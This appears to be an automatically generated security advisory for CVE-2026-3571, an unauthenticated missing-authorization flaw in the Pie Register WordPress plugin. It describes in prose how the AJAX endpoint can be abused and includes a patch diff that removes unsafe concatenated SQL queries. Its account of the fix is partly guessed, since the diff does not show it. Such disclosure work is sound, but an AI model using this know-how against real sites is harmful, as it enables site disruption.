Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-3571: Pie Register – User Registration, Profiles & Content Restriction <= 3.8.4.8 – Missing Authorization to Unauthenticated Registration Form Status Modification (pie-register)

CVE ID CVE-2026-3571
Plugin pie-register
Severity Medium (CVSS 6.5)
CWE 862
Vulnerable Version 3.8.4.8
Patched Version 3.8.4.9
Disclosed April 2, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3571:
The Pie Register WordPress plugin contains a missing authorization vulnerability in versions up to and including 3.8.4.8. This flaw allows unauthenticated attackers to modify the registration form status. The vulnerability stems from an insufficient capability check on the pie_main() function, which handles AJAX requests for the plugin’s administrative operations.

The root cause is the pie_main() function’s failure to verify user permissions before processing requests that modify registration form status. According to the vulnerability description, this function lacks a capability check. While the provided code diff shows numerous unrelated changes (file deletion improvements, translation fixes, and deprecated code removal), the core vulnerability exists in the AJAX handler registration and callback logic not displayed in the diff. The missing check occurs when the plugin processes requests to the pie_main() function via the WordPress AJAX infrastructure.

Exploitation involves sending a crafted POST request to the standard WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the action parameter set to trigger the vulnerable pie_main() function. Attackers would include parameters that modify the registration form status, such as changing form visibility or disabling registration functionality. The request requires no authentication or nonce validation, making it accessible to any unauthenticated user.

The patch adds proper capability checking to the pie_main() function. Before the fix, the function processed requests without verifying if the user had appropriate administrative privileges. After patching, the function validates user capabilities (likely ‘manage_options’ or similar) before executing registration form modifications. This prevents unauthenticated users from accessing administrative functionality.

Successful exploitation allows attackers to disable or modify user registration forms on affected WordPress sites. This can prevent legitimate user registration, disrupt site functionality, or enable denial-of-service conditions. While the vulnerability does not directly lead to privilege escalation or remote code execution, it enables unauthorized modification of critical site configuration that controls user access.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/pie-register/classes/admin/PieRegPluginSilentUpgrader.php
+++ b/pie-register/classes/admin/PieRegPluginSilentUpgrader.php
@@ -331,7 +331,7 @@

 		// Once extracted, delete the package if required.
 		if ( $delete_package ) {
-			unlink( $package );
+			$wp_filesystem->delete( $package );
 		}

 		if ( is_wp_error( $result ) ) {
--- a/pie-register/classes/api/class-wc-api-manager-menu.php
+++ b/pie-register/classes/api/class-wc-api-manager-menu.php
@@ -132,44 +132,51 @@
 					}

 					switch ( $activate_results['code'] ) {
-						case '100'://api_email_text
-							$errors->add("piereg_license_error",__($activate_results['error'].". ".$activate_results['additional info'],"pie-register"));
+						case '100':
+							// translators: 1: Error message, 2: Additional info.
+							$errors->add("piereg_license_error", sprintf( __( '%1$s. %2$s', 'pie-register' ), $activate_results['error'], $activate_results['additional info'] ));
 							$options['activation_email'] = '';
 							$options['api_key'] = '';
 							update_option( 'piereg_api_manager_activated', 'Deactivated' );
 						break;
-						case '101'://api_key_text
-							$errors->add("piereg_license_error",__($activate_results['error'].". ".$activate_results['additional info'] ,"pie-register"));
+						case '101':
+							// translators: 1: Error message, 2: Additional info.
+							$errors->add("piereg_license_error",sprintf( __( '%1$s. %2$s', 'pie-register' ), $activate_results['error'], $activate_results['additional info'] ));
 							$options['api_key'] = '';
 							$options['activation_email'] = '';
 							update_option( 'piereg_api_manager_activated', 'Deactivated' );
 						break;
-						case '102'://api_key_purchase_incomplete_text
-							$errors->add("piereg_license_error",__($activate_results['error'].". " .$activate_results['additional info'] ,"pie-register"));
+						case '102':
+							// translators: 1: Error message, 2: Additional info.
+							$errors->add("piereg_license_error",sprintf( __( '%1$s. %2$s', 'pie-register' ), $activate_results['error'], $activate_results['additional info'] ));
 							$options['api_key'] = '';
 							$options['activation_email'] = '';
 							update_option( 'piereg_api_manager_activated', 'Deactivated' );
 						break;
-						case '103'://api_key_exceeded_text
-								$errors->add("piereg_license_error",__($activate_results['error']. ". " .$activate_results['additional info'],"pie-register"));
+						case '103':
+								// translators: 1: Error message, 2: Additional info.
+								$errors->add("piereg_license_error",sprintf( __( '%1$s. %2$s', 'pie-register' ), $activate_results['error'], $activate_results['additional info'] ));
 								$options['api_key'] = '';
 								$options['activation_email'] = '';
 								update_option( 'piereg_api_manager_activated', 'Deactivated' );
 						break;
-						case '104'://api_key_not_activated_text
-								$errors->add("piereg_license_error",__($activate_results['error']. ". ".$activate_results['additional info'],"pie-register"));
+						case '104':
+								// translators: 1: Error message, 2: Additional info.
+								$errors->add("piereg_license_error",sprintf( __( '%1$s. %2$s', 'pie-register' ), $activate_results['error'], $activate_results['additional info'] ));
 								$options['api_key'] = '';
 								$options['activation_email'] = '';
 								update_option( 'piereg_api_manager_activated', 'Deactivated' );
 						break;
-						case '105'://api_key_invalid_text
-								$errors->add("piereg_license_error",__($activate_results['error'],"pie-register"));
+						case '105':
+								// translators: 1: Error message, 2: Additional info.
+								$errors->add("piereg_license_error",sprintf( __( '%1$s. %2$s', 'pie-register' ), $activate_results['error'], $activate_results['additional info'] ));
 								$options['api_key'] = '';
 								$options['activation_email'] = '';
 								update_option( 'piereg_api_manager_activated', 'Deactivated' );
 						break;
-						case '106'://sub_not_active_text
-								$errors->add("piereg_license_error",__($activate_results['error']. ". ".$activate_results['additional info'] ,"pie-register"));
+						case '106':
+								// translators: 1: Error message, 2: Additional info.
+								$errors->add("piereg_license_error",sprintf( __( '%1$s. %2$s', 'pie-register' ), $activate_results['error'], $activate_results['additional info'] ));
 								$options['api_key'] = '';
 								$options['activation_email'] = '';
 								update_option( 'piereg_api_manager_activated', 'Deactivated' );
@@ -244,36 +251,42 @@

 						switch ( $activate_results['code'] ) {
 							case '100':
-								$errors->add("piereg_license_error",__($activate_results['error'].". ".$activate_results['additional info'],"pie-register"));
+								// translators: 1: Error message, 2: Additional info.
+								$errors->add("piereg_license_error", sprintf( __( '%1$s. %2$s', 'pie-register' ), $activate_results['error'], $activate_results['additional info'] ));

 							break;
 							case '101':
-								$errors->add("piereg_license_error",__($activate_results['error'].". ".$activate_results['additional info'] ,"pie-register"));
-
+								// translators: 1: Error message, 2: Additional info.
+								$errors->add("piereg_license_error", sprintf( __( '%1$s. %2$s', 'pie-register' ), $activate_results['error'], $activate_results['additional info'] ));
 							break;
 							case '102':
-
-								$errors->add("piereg_license_error",__($activate_results['error'].". " .$activate_results['additional info'] ,"pie-register"));
-
+									// translators: 1: Error message, 2: Additional info.
+									$errors->add("piereg_license_error", sprintf( __( '%1$s. %2$s', 'pie-register' ), $activate_results['error'], $activate_results['additional info'] ));
+
 							break;
 							case '103':
-									$errors->add("piereg_license_error",__($activate_results['error']. ". " .$activate_results['additional info'],"pie-register"));
+									// translators: 1: Error message, 2: Additional info.
+									$errors->add("piereg_license_error", sprintf( __( '%1$s. %2$s', 'pie-register' ), $activate_results['error'], $activate_results['additional info'] ));

 							break;
 							case '104':
-									$errors->add("piereg_license_error",__($activate_results['error']. ". ".$activate_results['additional info'],"pie-register"));
+									// translators: 1: Error message, 2: Additional info.
+									$errors->add("piereg_license_error", sprintf( __( '%1$s. %2$s', 'pie-register' ), $activate_results['error'], $activate_results['additional info'] ));

 							break;
 							case '105':
-									$errors->add("piereg_license_error",__($activate_results['error'],"pie-register"));
+									// translators: 1: Error message, 2: Additional info.
+									$errors->add("piereg_license_error", sprintf( __( '%1$s. %2$s', 'pie-register' ), $activate_results['error'], $activate_results['additional info'] ));

 							break;
 							case '106':
-									$errors->add("piereg_license_error",__($activate_results['error']. ". ".$activate_results['additional info'] ,"pie-register"));
+									// translators: 1: Error message, 2: Additional info.
+									$errors->add("piereg_license_error", sprintf( __( '%1$s. %2$s', 'pie-register' ), $activate_results['error'], $activate_results['additional info'] ));

 							break;
 							case '107':
-									$errors->add("piereg_license_error",__($activate_results['error']. ". ".$activate_results['additional info'] ,"pie-register"));
+									// translators: 1: Error message, 2: Additional info.
+									$errors->add("piereg_license_error", sprintf( __( '%1$s. %2$s', 'pie-register' ), $activate_results['error'], $activate_results['additional info'] ));

 							break;
 						}
--- a/pie-register/classes/api/class-wc-api-manager-passwords.php
+++ b/pie-register/classes/api/class-wc-api-manager-passwords.php
@@ -25,7 +25,7 @@
 				static $seed = '';
 			else
 				$seed = get_transient('random_seed');
-			$rnd_value = md5( uniqid(microtime() . mt_rand(), true ) . $seed );
+			$rnd_value = md5( uniqid(microtime() . wp_rand(), true ) . $seed );
 			$rnd_value .= sha1($rnd_value);
 			$rnd_value .= sha1($rnd_value . $seed);
 			$seed = md5($seed . $rnd_value);
--- a/pie-register/classes/api/class-wc-plugin-update.php
+++ b/pie-register/classes/api/class-wc-plugin-update.php
@@ -34,6 +34,7 @@
  *	}
  */

+/*
 class API_Manager_Example_Update_API_Check {

 	private $upgrade_url; // URL to access the Update API Manager.
@@ -48,13 +49,6 @@
 	private $plugin_or_theme; // 'theme' or 'plugin'
 	private $piereg_text_domain; // localization for translation

-	/**
-	 * Constructor.
-	 *
-	 * @access public
-	 * @since  1.0.0
-	 * @return void
-	 */
 	public function __construct( $upgrade_url, $plugin_name, $product_id, $api_key, $activation_email, $renew_license_url, $instance, $domain, $software_version, $plugin_or_theme, $piereg_text_domain ) {
 		// API data
 		$this->upgrade_url 				= $upgrade_url;
@@ -68,51 +62,13 @@
 		$this->software_version 		= $software_version;
 		$this->piereg_text_domain 		= $piereg_text_domain;

-		/**
-		 * Flag for plugin or theme updates
-		 * @access public
-		 * @since  1.0.0
-		 * @param string, plugin or theme
-		 */
 		$this->plugin_or_theme		= $plugin_or_theme; // 'theme' or 'plugin'

-		/*********************************************************************
-		 * The plugin and theme filters should not be active at the same time
-		 *********************************************************************/
-
-		/**
-		 * More info:
-		 * function set_site_transient moved from wp-includes/functions.php
-		 * to wp-includes/option.php in WordPress 3.4
-		 *
-		 * set_site_transient() contains the pre_set_site_transient_{$transient} filter
-		 * {$transient} is either update_plugins or update_themes
-		 *
-		 * Transient data for plugins and themes exist in the Options table:
-		 * _site_transient_update_themes
-		 * _site_transient_update_plugins
-		 */

 		// uses the flag above to determine if this is a plugin or a theme update request
 		if ( $this->plugin_or_theme == 'plugin' ) {
-			/**
-			 * Plugin Updates
-			 */
-			// Check For Plugin Updates
-			add_filter( 'pre_set_site_transient_update_plugins', array( $this, 'update_check' ) );
-
-			// Check For Plugin Information to display on the update details page
-			add_filter( 'plugins_api', array( $this, 'request' ), 10, 3 );

 		} else if ( $this->plugin_or_theme == 'theme' ) {
-			/**
-			 * Theme Updates
-			 */
-			// Check For Theme Updates
-			add_filter( 'pre_set_site_transient_update_themes', array( $this, 'update_check' ) );
-
-			// Check For Theme Information to display on the update details page
-			//add_filter( 'themes_api', array( $this, 'request' ), 10, 3 );

 		}

@@ -125,14 +81,6 @@
 		return $upgrade_url . '&' . http_build_query( $args );
 	}

-	/**
-	 * Check for updates against the remote server.
-	 *
-	 * @access public
-	 * @since  1.0.0
-	 * @param  object $transient
-	 * @return object $transient
-	 */
 	public function update_check( $transient ) {

 		if( empty( $transient->checked ) )	return $transient;
@@ -242,13 +190,6 @@
 		return $transient;
 	}

-	/**
-	 * Sends and receives data to and from the server API
-	 *
-	 * @access public
-	 * @since  1.0.0
-	 * @return object $response
-	 */
 	public function plugin_information( $args ) {

 		$target_url = $this->create_upgrade_api_url( $args );
@@ -260,15 +201,6 @@

 		$response = unserialize( wp_remote_retrieve_body( $request ) );

-		/**
-		 * For debugging errors from the API
-		 * For errors like: unserialize(): Error at offset 0 of 170 bytes
-		 * Comment out $response above first
-		 */
-		// $response = wp_remote_retrieve_body( $request );
-		// print_r($response); exit;
-
-
 		if( is_object( $response ) ) {
 			return $response;
 		} else {
@@ -276,24 +208,16 @@
 		}
 	}

-	/**
-	 * Generic request helper.
-	 *
-	 * @access public
-	 * @since  1.0.0
-	 * @param  array $args
-	 * @return object $response or boolean false
-	 */
 	public function request( $false, $action, $args ) {

 		// Is this a plugin or a theme?
 		if ( $this->plugin_or_theme == 'plugin' ) {

-			$version = get_site_transient( 'update_plugins' );
+			$version = get_site_transient( 'deprecated_upd_p' );

 		} else if ( $this->plugin_or_theme == 'theme' ) {

-			$version = get_site_transient( 'update_themes' );
+			$version = get_site_transient( 'deprecated_upd_t' );

 		}

@@ -384,11 +308,6 @@

 	}

-	/**
-	 * Display license expired error notice
-	 * @param  string $message
-	 * @return void
-	 */
 	public function expired_license_error_notice( $message ){

 		$plugins = get_plugins();
@@ -396,62 +315,73 @@
 		$plugin_name = isset( $plugins[$this->plugin_name] ) ? $plugins[$this->plugin_name]['Name'] : $this->plugin_name;

 		// translators: %1$s represents the plugin name, and %2$s represents the URL to the dashboard.
-		echo sprintf( '<div id="message" class="error"><p>' . __( 'The license key for %1$s has expired. You can reactivate or purchase another license key from your account <a href="%2$s" target="_blank">dashboard</a>.', $this->piereg_text_domain ) . '</p></div>', esc_html($plugin_name), esc_url($this->renew_license_url) ) ;
-
+		echo sprintf(
+		wp_kses_post(
+			// translators: %1$s is the plugin name, and %2$s is the URL to the account dashboard.
+			__(
+				'<div id="message" class="error"><p>The license key for %1$s has expired. You can reactivate or purchase another license key from your account <a href="%2$s" target="_blank">dashboard</a>.</p></div>',
+				'pie-register'
+			)
+		),
+		esc_html( $plugin_name ),
+		esc_url( $this->renew_license_url )
+	);
 	}

-	/**
-	 * Display subscription on-hold error notice
-	 * @param  string $message
-	 * @return void
-	 */
 	public function on_hold_subscription_error_notice( $message ){

 		$plugins = get_plugins();

 		$plugin_name = isset( $plugins[$this->plugin_name] ) ? $plugins[$this->plugin_name]['Name'] : $this->plugin_name;

-		// translators: %1$s is the plugin name, and %2$s is the URL to the account dashboard.
-		echo sprintf( '<div id="message" class="error"><p>' . __( 'The subscription for %1$s is on-hold. You can reactivate the subscription from your account <a href="%2$s" target="_blank">dashboard</a>.', $this->piereg_text_domain ) . '</p></div>', esc_html($plugin_name), esc_url($this->renew_license_url) ) ;
+		$message = sprintf(
+			__(
+				'The subscription for %1$s is on-hold. You can reactivate the subscription from your account <a href="%2$s" target="_blank">dashboard</a>.',
+				'pie-register'
+			),
+			esc_html( $plugin_name ),
+			esc_url( $this->renew_license_url )
+		);

+		echo '<div id="message" class="error"><p>' . wp_kses_post( $message ) . '</p></div>';
 	}

-	/**
-	 * Display subscription cancelled error notice
-	 * @param  string $message
-	 * @return void
-	 */
 	public function cancelled_subscription_error_notice( $message ){

 		$plugins = get_plugins();

 		$plugin_name = isset( $plugins[$this->plugin_name] ) ? $plugins[$this->plugin_name]['Name'] : $this->plugin_name;

-		// translators: %1$s is the plugin name, and %2$s is the URL to the account dashboard.
-		echo sprintf( '<div id="message" class="error"><p>' . __( 'The subscription for %1$s has been cancelled. You can renew the subscription from your account <a href="%2$s" target="_blank">dashboard</a>. A new license key will be emailed to you after your order has been processed.', $this->piereg_text_domain ) . '</p></div>', esc_html($plugin_name), esc_url($this->renew_license_url) ) ;
+		$message = sprintf(
+    __(
+        'The subscription for %1$s has been cancelled. You can renew the subscription from your account <a href="%2$s" target="_blank">dashboard</a>. A new license key will be emailed to you after your order has been processed.',
+		'pie-register'
+    ),
+    esc_html( $plugin_name ),
+    esc_url( $this->renew_license_url )
+);
+
+echo '<div id="message" class="error"><p>' . wp_kses_post( $message ) . '</p></div>';
 	}

-	/**
-	 * Display subscription expired error notice
-	 * @param  string $message
-	 * @return void
-	 */
 	public function expired_subscription_error_notice( $message ){

 		$plugins = get_plugins();

 		$plugin_name = isset( $plugins[$this->plugin_name] ) ? $plugins[$this->plugin_name]['Name'] : $this->plugin_name;

-		// translators: %1$s is the plugin name, and %2$s is the URL to the account dashboard.
-		echo sprintf( '<div id="message" class="error"><p>' . __( 'The subscription for %1$s has expired. You can reactivate the subscription from your account <a href="%2$s" target="_blank">dashboard</a>.', $this->piereg_text_domain ) . '</p></div>', esc_html($plugin_name), esc_url($this->renew_license_url) ) ;
+		$message = sprintf(
+			__(
+				'The subscription for %1$s has expired. You can reactivate the subscription from your account <a href="%2$s" target="_blank">dashboard</a>.',
+				'pie-register'
+			),
+			esc_html( $plugin_name ),
+			esc_url( $this->renew_license_url )
+		);

+		echo '<div id="message" class="error"><p>' . wp_kses_post( $message ) . '</p></div>';
 	}

-	/**
-	 * Display subscription expired error notice
-	 * @param  string $message
-	 * @return void
-	 */
 	public function suspended_subscription_error_notice( $message ){

 		$plugins = get_plugins();
@@ -459,121 +389,148 @@
 		$plugin_name = isset( $plugins[$this->plugin_name] ) ? $plugins[$this->plugin_name]['Name'] : $this->plugin_name;

 		// translators: %1$s is the plugin name, and %2$s is the URL to the account dashboard.
-		echo sprintf( '<div id="message" class="error"><p>' . __( 'The subscription for %1$s has been suspended. You can reactivate the subscription from your account <a href="%2$s" target="_blank">dashboard</a>.', $this->piereg_text_domain ) . '</p></div>', esc_html($plugin_name), esc_url($this->renew_license_url) ) ;
+		$message = sprintf(
+		__(
+			'The subscription for %1$s has been suspended. You can reactivate the subscription from your account <a href="%2$s" target="_blank">dashboard</a>.',
+			'pie-register'
+		),
+		esc_html( $plugin_name ),
+		esc_url( $this->renew_license_url )
+		);

+		echo '<div id="message" class="error"><p>' . wp_kses_post( $message ) . '</p></div>';
 	}

-	/**
-	 * Display subscription expired error notice
-	 * @param  string $message
-	 * @return void
-	 */
 	public function pending_subscription_error_notice( $message ){

 		$plugins = get_plugins();

 		$plugin_name = isset( $plugins[$this->plugin_name] ) ? $plugins[$this->plugin_name]['Name'] : $this->plugin_name;

-		// translators: %1$s is the plugin name, and %2$s is the URL to the account dashboard.
-		echo sprintf( '<div id="message" class="error"><p>' . __( 'The subscription for %1$s has been moved to the trash bin and will be deleted soon. You can purchase a new subscription from your account <a href="%2$s" target="_blank">dashboard</a>.', $this->piereg_text_domain ) . '</p></div>', esc_html($plugin_name), esc_url($this->renew_license_url) ) ;
+		$message = sprintf(
+			__(
+				'The subscription for %1$s has been moved to the trash bin and will be deleted soon. You can purchase a new subscription from your account <a href="%2$s" target="_blank">dashboard</a>.',
+				'pie-register'
+			),
+			esc_html( $plugin_name ),
+			esc_url( $this->renew_license_url )
+		);

+		echo '<div id="message" class="error"><p>' . wp_kses_post( $message ) . '</p></div>';
 	}

-	/**
-	 * Display subscription expired error notice
-	 * @param  string $message
-	 * @return void
-	 */
 	public function trash_subscription_error_notice( $message ){

 		$plugins = get_plugins();

 		$plugin_name = isset( $plugins[$this->plugin_name] ) ? $plugins[$this->plugin_name]['Name'] : $this->plugin_name;

-		// translators: %1$s is the plugin name, and %2$s is the URL to the account dashboard.
-		echo sprintf( '<div id="message" class="error"><p>' . __( 'The subscription for %1$s has been placed in the trash and will be deleted soon. You can purchase a new subscription from your account <a href="%2$s" target="_blank">dashboard</a>.', $this->piereg_text_domain ) . '</p></div>', esc_html($plugin_name), esc_url($this->renew_license_url) ) ;
+		$message = sprintf(
+    __(
+        'The subscription for %1$s has been placed in the trash and will be deleted soon. You can purchase a new subscription from your account <a href="%2$s" target="_blank">dashboard</a>.',
+        'pie-register'
+    ),
+    esc_html( $plugin_name ),
+    esc_url( $this->renew_license_url )
+);

+echo '<div id="message" class="error"><p>' . wp_kses_post( $message ) . '</p></div>';
 	}

-	/**
-	 * Display subscription expired error notice
-	 * @param  string $message
-	 * @return void
-	 */
 	public function no_subscription_error_notice( $message ){

 		$plugins = get_plugins();

 		$plugin_name = isset( $plugins[$this->plugin_name] ) ? $plugins[$this->plugin_name]['Name'] : $this->plugin_name;

-		// translators: %1$s is the plugin name, and %2$s is the URL to the account dashboard.
-		echo sprintf( '<div id="message" class="error"><p>' . __( 'A subscription for %1$s could not be found. You can purchase a subscription from your account <a href="%2$s" target="_blank">dashboard</a>.', $this->piereg_text_domain ) . '</p></div>', esc_html($plugin_name), esc_url($this->renew_license_url) ) ;
+		$message = sprintf(
+			__(
+				'A subscription for %1$s could not be found. You can purchase a subscription from your account <a href="%2$s" target="_blank">dashboard</a>.',
+				'pie-register'
+			),
+			esc_html( $plugin_name ),
+			esc_url( $this->renew_license_url )
+		);
+
+		echo '<div id="message" class="error"><p>' . wp_kses_post( $message ) . '</p></div>';

 	}

-	/**
-	 * Display missing key error notice
-	 * @param  string $message
-	 * @return void
-	 */
 	public function no_key_error_notice( $message ){

 		$plugins = get_plugins();

 		$plugin_name = isset( $plugins[$this->plugin_name] ) ? $plugins[$this->plugin_name]['Name'] : $this->plugin_name;

-		// translators: %1$s is the plugin name, %2$s is the plugin name again, and %3$s is the URL to the account dashboard.
-		echo sprintf( '<div id="message" class="error"><p>' . __( 'A license key for %1$s could not be found. Verify that a license key was entered when setting up %2$s, and that the key is not deactivated in your account. You can reactivate or purchase a license key from your account <a href="%3$s" target="_blank">dashboard</a>.', $this->piereg_text_domain ) . '</p></div>', esc_html($plugin_name), esc_html($plugin_name), esc_url($this->renew_license_url) ) ;
+		$message = sprintf(
+			__(
+				'A license key for %1$s could not be found. Verify that a license key was entered when setting up %2$s, and that the key is not deactivated in your account. You can reactivate or purchase a license key from your account <a href="%3$s" target="_blank">dashboard</a>.',
+				'pie-register'
+			),
+			esc_html( $plugin_name ),
+			esc_html( $plugin_name ),
+			esc_url( $this->renew_license_url )
+		);

+		echo '<div id="message" class="error"><p>' . wp_kses_post( $message ) . '</p></div>';
 	}

-	/**
-	 * Display missing download permission revoked error notice
-	 * @param  string $message
-	 * @return void
-	 */
 	public function download_revoked_error_notice( $message ){

 		$plugins = get_plugins();

 		$plugin_name = isset( $plugins[$this->plugin_name] ) ? $plugins[$this->plugin_name]['Name'] : $this->plugin_name;

-		// translators: %1$s is the plugin name, and %2$s is the URL to the account dashboard.
-		echo sprintf( '<div id="message" class="error"><p>' . __( 'Download permission for %1$s has been revoked. Possibly  because the license key or subscription has expired. You can reactivate or purchase a license key from your account <a href="%2$s" target="_blank">dashboard</a>.', $this->piereg_text_domain ) . '</p></div>', esc_html($plugin_name), esc_url($this->renew_license_url) ) ;
+		$message = sprintf(
+    __(
+        'Download permission for %1$s has been revoked. Possibly because the license key or subscription has expired. You can reactivate or purchase a license key from your account <a href="%2$s" target="_blank">dashboard</a>.',
+        'pie-register'
+    ),
+    esc_html( $plugin_name ),
+    esc_url( $this->renew_license_url )
+);

+echo '<div id="message" class="error"><p>' . wp_kses_post( $message ) . '</p></div>';
 	}

-	/**
-	 * Display no activation error notice
-	 * @param  string $message
-	 * @return void
-	 */
 	public function no_activation_error_notice( $message ){

 		$plugins = get_plugins();

 		$plugin_name = isset( $plugins[$this->plugin_name] ) ? $plugins[$this->plugin_name]['Name'] : $this->plugin_name;

-		// translators: %1$s is the plugin name, and %2$s is the URL to the account dashboard.
-		echo sprintf( '<div id="message" class="error"><p>' . __( '%1$s has not been activated. Go to the settings page and enter the license key and license email to activate %2$s.', $this->piereg_text_domain ) . '</p></div>', esc_html($plugin_name), esc_html($plugin_name) ) ;
+		$message = sprintf(
+			__(
+				'%1$s has not been activated. Go to the settings page and enter the license key and license email to activate %2$s.',
+				'pie-register'
+			),
+			esc_html( $plugin_name ),
+			esc_html( $plugin_name )
+		);
+
+		echo '<div id="message" class="error"><p>' . wp_kses_post( $message ) . '</p></div>';

 	}

-	/**
-	 * Display switched activation error notice
-	 * @param  string $message
-	 * @return void
-	 */
 	public function switched_subscription_error_notice( $message ){

 		$plugins = get_plugins();

 		$plugin_name = isset( $plugins[$this->plugin_name] ) ? $plugins[$this->plugin_name]['Name'] : $this->plugin_name;

-		// translators: %1$s is the plugin name, and %2$s is the URL to the account dashboard.
-		echo sprintf( '<div id="message" class="error"><p>' . __( 'You changed the subscription for %1$s, please enter a new API License Key on the settings page. The License Key was sent to your email. If you have not received it, you can get it by logging into your account <a href="%2$s" target="_blank">dashboard</a>.', $this->piereg_text_domain ) . '</p></div>', esc_html($plugin_name), esc_url($this->renew_license_url) ) ;
+		$message = sprintf(
+			__(
+				'You changed the subscription for %1$s, please enter a new API License Key on the settings page. The License Key was sent to your email. If you have not received it, you can get it by logging into your account <a href="%2$s" target="_blank">dashboard</a>.',
+				'pie-register'
+			),
+			esc_html( $plugin_name ),
+			esc_url( $this->renew_license_url )
+		);
+
+		echo '<div id="message" class="error"><p>' . wp_kses_post( $message ) . '</p></div>';

 	}


 } // End of class
+*/
--- a/pie-register/classes/app/app_api.php
+++ b/pie-register/classes/app/app_api.php
@@ -378,15 +378,13 @@
             $date               = $value->expiry_date;

             if($this->piereg_pro_is_activate && $date != "0000-00-00"){
-              $expiry_date        = date( "M d, Y", strtotime( $date ) );
+              $expiry_date        = gmdate( "M d, Y", strtotime( $date ) );
             }else{
               $expiry_date = "0000-00-00";
             }


-              $prefix     = $wpdb->prefix."pieregister_";
-              $emailtable = $prefix."invite_code_emails";
-              $results    = $wpdb->get_results("SELECT `*` FROM ".$emailtable." WHERE code_id=".$value->id);
+              $results    = $wpdb->get_results($wpdb->prepare("SELECT * FROM `{$wpdb->prefix}pieregister_invite_code_emails` WHERE code_id=%d", array($value->id)));
               $email_sent = array();

               $total_emails_sent = $wpdb->num_rows;
@@ -744,7 +742,7 @@

             $udata            = get_userdata( $user_id );
             $registered       = $udata->user_registered;
-            $date             = date( "d M Y", strtotime( $registered ) );
+            $date             = gmdate( "d M Y", strtotime( $registered ) );

             $data['data'][]  =   array(
                       'user_id'               => $user_id,
@@ -997,12 +995,10 @@
               global $wpdb;
               $prefix = $wpdb->prefix."pieregister_";
               $invite_code_emails_table_name = $prefix."invite_code_emails";
-              $invite_code_table_name        = $prefix."code";
-              //var_dump($invite_code);
-              $code_id = $wpdb->get_results( $wpdb->prepare( "SELECT id FROM ".$invite_code_table_name." WHERE name=%s", esc_sql(htmlentities($invite_code)) ) );
+              $code_id = $wpdb->get_results( $wpdb->prepare( "SELECT id FROM `{$wpdb->prefix}pieregister_code` WHERE name=%s", array(htmlentities($invite_code)) ) );
               $code_id = (int)$code_id[0]->id;

-              $add_address = $wpdb->query($wpdb->prepare("INSERT INTO ".$invite_code_emails_table_name." (`code_id`,`email_address`)VALUES(%s,%s)", $code_id, $email));
+              $add_address = $wpdb->query($wpdb->prepare("INSERT INTO `{$wpdb->prefix}pieregister_invite_code_emails` (`code_id`,`email_address`) VALUES (%d,%s)", array($code_id, $email)));

                $data['message'][] = $email;
              } else {
@@ -1199,16 +1195,10 @@

         $prefix = $wpdb->prefix . "pieregister_";
         $codetable  = $prefix."code";
-        $order_by = "`id` DESC";
-
         $items_per_page = 5;
         $page = isset( $_paged ) ? abs( (int) $_paged ) : 1;
         $offset = ( $page * $items_per_page ) - $items_per_page;
-
-
-        //$list_invitation_code       = $wpdb->get_results( "SELECT * FROM $codetable" );
-
-        $latestposts = $wpdb->get_results("SELECT * FROM $codetable ORDER BY $order_by LIMIT {$offset}, {$items_per_page}" );
+        $latestposts = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM `{$wpdb->prefix}pieregister_code` ORDER BY `id` DESC LIMIT %d, %d", array($offset, $items_per_page) ) );

         return $latestposts;

@@ -1229,7 +1219,7 @@
         $data     = [ 'name' => $code_name, 'code_usage' => $code_usage, 'expiry_date' => $expiry_date  ];
         $where    = [ 'id' => $code_id ];

-        $codes    = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $codetable WHERE id != %s AND (BINARY `name`=%s OR `name`=%s)", $code_id, $name_lower, $name_upper) );
+        $codes    = $wpdb->get_results( $wpdb->prepare("SELECT * FROM `{$wpdb->prefix}pieregister_code` WHERE id != %s AND (BINARY `name`=%s OR `name`=%s)", array($code_id, $name_lower, $name_upper)) );

         $counts   = count($codes);

@@ -1257,7 +1247,7 @@
       $name_lower           = htmlentities( strtolower($insert_codes) );
       $name_upper           = htmlentities( strtoupper($insert_codes) );

-      $codes = $wpdb->get_results( $wpdb->prepare("SELECT * FROM $codetable WHERE BINARY `name`=%s OR `name`=%s" , $name_lower, $name_upper) );
+      $codes = $wpdb->get_results( $wpdb->prepare("SELECT * FROM `{$wpdb->prefix}pieregister_code` WHERE BINARY `name`=%s OR `name`=%s" , array($name_lower, $name_upper)) );
       $counts = count($codes);

       $data   = array('created' => $date, 'modified' => $date, 'name' => $insert_codes, 'count' => $counts, 'status' => "1", "code_usage" => $usage, 'expiry_date' => $expiry);
@@ -1301,7 +1291,7 @@
         $input_length = strlen($input);
         $random_string = '';
         for($i = 0; $i < $strength; $i++) {
-            $random_character = $input[mt_rand(0, $input_length - 1)];
+            $random_character = $input[wp_rand(0, $input_length - 1)];
             $random_string .= $random_character;
         }

--- a/pie-register/classes/app/config.php
+++ b/pie-register/classes/app/config.php
@@ -1,4 +1,7 @@
 <?php
-
+// Exit if accessed directly
+if ( ! defined( 'ABSPATH' ) ) {
+    exit;
+}
 // Firebase API Key
 define('PIE_APP_FIREBASE_API_KEY', get_option('pie_app_firebase_api_key'));
 No newline at end of file
--- a/pie-register/classes/app/push.php
+++ b/pie-register/classes/app/push.php
@@ -1,5 +1,8 @@
 <?php
-
+// Exit if accessed directly
+if ( ! defined( 'ABSPATH' ) ) {
+    exit;
+}
 /**
  * @author PIE REGISTER
  * @link pieregister.com
@@ -49,7 +52,7 @@
         $res['data']['message'] = $this->message;
         $res['data']['image'] = $this->image;
         $res['data']['payload'] = $this->data;
-        $res['data']['timestamp'] = date('Y-m-d G:i:s');
+        $res['data']['timestamp'] = gmdate('Y-m-d G:i:s');
         return $res;
     }

--- a/pie-register/classes/base.php
+++ b/pie-register/classes/base.php
@@ -1,4 +1,9 @@
 <?php
+// Exit if accessed directly
+if ( ! defined( 'ABSPATH' ) ) {
+    exit;
+}
+
 include("base_variables.php");
 if( !class_exists('PieReg_Base') ){
 	class PieReg_Base extends PieRegisterBaseVariables
@@ -695,9 +700,7 @@
 			$prefix=$wpdb->prefix."pieregister_";
 			$codetable=$prefix."code";

